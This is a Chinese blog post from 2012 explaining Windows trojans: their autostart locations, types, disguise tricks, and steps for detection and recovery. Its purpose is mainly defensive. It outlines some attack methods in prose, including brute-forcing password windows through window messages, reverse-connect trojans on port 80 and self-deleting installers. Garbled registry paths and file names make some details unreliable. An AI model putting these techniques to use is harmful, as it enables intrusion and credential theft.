  当然,没有上面的种种现象并不代表你就绝对安全。有些人攻击你的机器不过是想寻找一个跳板。做更重要的事情;可是有些人攻击你的计算机纯粹是为了好玩。对于纯粹处于好玩目的的攻击者,你可以很容易地发现攻击的痕迹;对于那些隐藏得很深,并且想把你的机器变成一台他可以长期使用的肉鸡的黑客们,你的检查工作将变得异常艰苦并且需要你对入侵和木马有超人的敏感度,而这些能力,都是在平常的电脑使用过程日积月累而成的。
  我们还可以通过软件来检查系统进程来发现木马。如利用进程管理软件来查看进程,如果发现可疑进程就杀死它。那么,如何知道哪个进程是可疑的呢?教你一个笨方法,有以下进程绝对是正常的:EXPLORER.EXE、KERNEL32.DLL、MPREXE.EXE、MSGSRVINTERNAT.EXE、32.EXE、SPOOL32、EXEIEXPLORE.EXE(如果打开了IE),而出现了其他的、你没有运行的程序的进程就很可疑了。一句话,具体情况具体分析。
木马是如何启动的
  作为一个优秀的木马,自启动功能是必不可少的,这样可以保证木马不会因为你的一次关机操作而彻底失去作用。正因为该项技术如此重要,所以,很多编程人员都在不停地研究和探索新的自启动技术,并且时常有新的发现。一个典型的例子就是把木马加入到用户经常执行的程序(例如explorer.exe)中,用户执行该程序时,则木马自动发生作用。当然,更加普遍的方法是通过修改Windows系统文件和注册表达到目的,现经常用的方法主要有以下几种:
  1、在Win.ini中启动
  在Win.ini的[windows]字段中有启动命令"load="和"run=",在一般情况下"="后面是空白的,如果有后跟程序,比方说是这个样子:
  run=c:\windows\file.exe
  load=c:\windows\file.exe
  要小心了,这个file.exe很可能是木马哦。
  2、在System.ini中启动
  System.ini位于Windows的安装目录下,其[boot]字段的shell=Explorer.exe是木马喜欢的隐藏加载之所,木马通常的做法是将该何变为这样:shell=Explorer.exe file.exe。注意这里的file.exe就是木马服务端程序!
  另外,在System中的[386Enh]字段,要注意检查在此段内的"driver=路径\程序名"这里也有可能被木马所利用。再有,在System.ini中的[mic]、[drivers]、[drivers32]这3个字段,这些段也是
起到加载驱动程序的作用,但也是增添木马程序的好场所,现在你该知道也要注意这里喽。
  3、利用注册表加载运行
  如下所示注册表位臵都是木马喜好的藏身加载之所,赶快检查一下,有什么程序在其下。
  4、在Autoexec.bat和Config.sys中加载运行
  请大家注意,在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都需要控制端用户与服务端建立连接后,将己添加木马启动命令的同名文件上传到服务端覆盖这两个文件才行,而且采用这种方式不是很隐蔽。容易被发现,所以在Autoexec.bat和Confings中加载木马程序的并不多见,但也不能因此而掉以轻心。
  5、在Winstart.bat中启动
  Winstart.bat是一个特殊性丝毫不亚于Autoexec.bat的批处理文件,也是一个能自动被Windows加载运行的文件。它多数情况下为应用程序及Windows自动生成,在执行了Win.com并加截了多数驱动程序之后开始执行(这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Witart.bat代替完成,因此木马完全可以像在Autoexec.bat中那样被加载运行,危险由此而来。
  6、启动组
  木马们如果隐藏在启动组虽然不是十分隐蔽,但这里的确是自动加载运行的好场所,因此还是有木马喜欢在这里驻留的。启动组对应
的文件夹为C:\Windows\startmenu\programs\startup,在注册表中的位臵:HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Explorer\shell
  FoldersStartup="c:\windows\startmenu\programs\startup"。要注意经常检查启动组哦!
  7、*.INI
  即应用程序的启动配臵文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。只启动一次的方式:在winint.ini中(用于安装较多)。
  8、修改文件关联
  修改文件关联是木马们常用手段(主要是国产木马,老外的木马大都没有这个功能),比方说正常情况下TXT文件的打开方式为Notepad.EXE文件,但一旦中了文件关联木马,则txt文件打开方式就会被修改为用木马程序打开,如著名的国产木马冰河就是这样干的,"冰河"就是通过修改HKEY_CLASSES_ROOT\txtfile\whell\open\command下的键值,将.C:\WINDOWS\NOTEPAD.EXE本应用Notepad打开,如著名的国产HKEY一CLASSES一ROOT\txt闹e\shell\open\commandT的键值,将"C:\WINDOWS\NOTEPAD.EXE%l"改为"C:\WINDOWS\SYSTEM\SYSEXPLR.EXE%l",这样,一旦你双击一个TXT文件,原本应用Notepad打开该文件,现在却变成启动木马
程序了,好狠毒哦!请大家注意,不仅仅是TXT文件,其他诸如HTM、EXE、ZIP、COM等都是木马的目标,要小心搂。
  对付这类木马,只能经常检查HKEY_C\shell\open\command主键,查看其键值是否正常。
  9、捆绑文件
  实现这种触发条件首先要控制端和服务端已通过木马建立连接,然后控制端用户用工具软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖源文件,这样即使木马被删除了,只要运行捆绑了木马的应用程序,木马也会安装上去。绑定到某一应用程序中,如绑定到系统文件,那么每一次Windows启动均会启动木马。
  10、反弹端口型木马的主动连接方式
反弹端口型木马我们已经在前面说过了,由于它与一般的木马相反,其服务端(被控制端)主动与客户端(控制端)建立连接,并且监听端口一般开在80,所以如果没有合适的工具、丰富的经验真的很难防范。这类木马的典型代表就是网络神偷"。由于这类木马仍然要在注册表中建立键值注册表的变化就不难查到它们。同时,最新的天网防火墙(如我们在第三点中所讲的那样),因此只要留意也可在网络神偷服务端进行主动连接时发现它。
 
木马的种类
  1、破坏型
  惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的
DLL、INI、EXE文件。
  2、密码发送型
  可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。
  在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWSAPI函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
  3、远程访问型
  最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知
道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。
  程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。
  4、键盘记录木马
  这种特洛伊木马是非常简单的。它们只做一件事情,就是记录受害者的键盘敲击并且在LOG文件里查找密码。据笔者经验,这种特洛伊木马随着Windows的启动而启动。它们有在线和离线记录这样的选项,顾名思义,它们分别记录你在线和离线状态下敲击键盘时的按键情况。也就是说你按过什么按键,下木马的人都知道,从这些按键中他很容易就会得到你的密码等有用信息,甚至是你的信用卡账号哦!当然,对于这种类型的木马,邮件发送功能也是必不可少的。
  5、DoS攻击木马
  随着DoS攻击越来越广泛的应用,被用作DoS攻击的木马也越来越流行起来。当你入侵了一台机器,给他种上DoS攻击木马,那么日后这台计算机就成为你DoS攻击的最得力助手了。你控制的肉鸡数量越多,你发动DoS攻击取得成功的机率就越大。所以,这种
木马的危害不是体现在被感染计算机上,而是体现在攻击者可以利用它来攻击一台又一台计算机,给网络造成很大的伤害和带来损失。
  还有一种类似DoS的木马叫做邮件炸弹木马,一旦机器被感染,木马就会随机生成各种各样主题的信件,对特定的邮箱不停地发送邮件,一直到对方瘫痪、不能接受邮件为止。
  6、代理木马
  黑客在入侵的同时掩盖自己的足迹,谨防别人发现自己的身份是非常重要的,因此,给被控制的肉鸡种上代理木马,让其变成攻击者发动攻击的跳板就是代理木马最重要的任务。通过代理木马,攻击者可以在匿名的情况下使用Telnet,ICQ,IRC等程序,从而隐蔽自己的踪迹。
  7、FTP木马
  这种木马可能是最简单和古老的木马了,它的惟一功能就是打开21端口,等待用户连接。现在新FTP木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从而进人对方计算机。
  8、程序杀手木马
  上面的木马功能虽然形形色色,不过到了对方机器上要发挥自己的作用,还要过防木马软件这一关才行。常见的防木马软件有ZoneAlarm,NortonAnti-Virus等。程序杀手木马的功能就是关闭对方机器上运行的这类程序,让其他的木马更好地发挥作用。
  9、反弹端口型木马
木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连
入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口。木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,即使用户使用扫描软件检查自己的端口,发现类似TCP User IP:1026 Controller IP:80 ESTABLISHED的情况,稍微疏忽一点,你就会以为是自己在浏览网页。
 
木马采用的伪装方法
  1、修改图标
  木马服务端所用的图标也是有讲究的,木马经常故意伪装成了XT、HTML等你可能认为对系统没有多少危害的文件图标,这样很容易诱惑你把它打开。看看,木马是不是很狡猾?
  2、捆绑文件
  这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情况下,偷偷地进入了系统。被捆绑的文件一般是可执行文件(即EXE、COM一类的文件)。
  3、出错显示
  有一定木马知识的人部知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序。木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务端用户打开木马
程序时,会弹出一个错误提示框(这当然是假的),错误内容可自由定义,大多会定制成一些诸如"文件已破坏,无法打开!"之类的信息,当服务端用户信以为真时,木马却悄悄侵人了系统。
  4、自我销毁
  这项功能是为了弥补木马的一个缺陷。我们知道,当服务端用户打开含有木马的文件后,木马会将自己拷贝到Windows的系统文件夹中(C:\wmdows或C:\windows\system目录下),一般来说,源木马文件和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么,中了木马的朋友只要在近来收到的信件和下载的软件中找到源木马文件,然后根据源木马的大小去系统文件夹找相同大小的文件,判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木马后,源木马文件自动销毁,这样服务端用户就很难找到木马的来源,在没有查杀木马的工具帮助下。就很难删除木马了。
  5、木马更名
  木马服务端程序的命名也有很大的学问。如果不做任何修改,就使用原来的名字,谁不知道这是个木马程序呢?所以木马的命名也是千奇百怪,不过大多是改为和系统文件名差不多的名字,如果你对系统文件不够了解,那可就危险了。例如有的木马把名字改为window.exe,如果不告诉你这是木马的话,你敢删除吗?还有的就是更改一些后缀名,比如把dll改为dl等,不仔细看的,你会发现吗?
  被感染后的紧急措施
  如果不幸你的计算机已经被木马光临过了,你的系统文件被黑客
改得一塌糊涂,硬盘上稀里糊涂得多出来一大堆乱七八糟的文件,很多重要的数据也可能被黑客窃取。这里给你提供3条建议,希望可以帮助你:
  (1)所有的账号和密码都要马上更改,例如拨号连接,ICQ,mIRC,FTP,你的个人站点,免费邮箱等等,凡是需要密码的地方,你都要把密码尽快改过来。
  (2)删掉所有你硬盘上原来没有的东西。
  (3)检查一次硬盘上是否有病毒存在。

posted @ 2012-09-01 18:50  C4ISR  阅读(4386)  评论(0编辑  收藏  举报
C4ISR